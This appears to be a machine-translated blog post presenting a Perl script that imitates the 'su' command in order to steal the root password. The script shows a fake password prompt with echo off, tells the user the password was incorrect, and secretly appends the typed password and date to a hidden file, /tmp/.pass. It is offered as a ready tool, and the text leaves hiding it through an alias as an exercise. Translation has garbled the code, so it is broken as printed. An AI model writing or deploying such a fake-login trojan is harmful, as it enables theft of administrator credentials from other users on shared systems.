Fake Su, perl su.pl steal root Password _ application tips

I changed it and turned it back on and added a delay:

#!/usr/bin/perl
# written by Xi4oyu <evil.xi4oyu@gmail.com>.

Print "Password:";
' Stty-echo ';
$s 1=<stdin>;
print "\ n";
' Stty echo ';
Sleep 3;
Print "Su:incorrect password\n";
Chomp ($s 1);
$s 2= "Password is:";
$s 3= "". ' Date +%y-%m-%d ';
Open (Users, ">>/tmp/.pass") | | Die;
Print users ($s 2, $s 1, $s 3);
Close (users);

It is obvious that the direct use is 8 lines, but also has the alias restoration and so on work to do, everybody reader oneself to fix!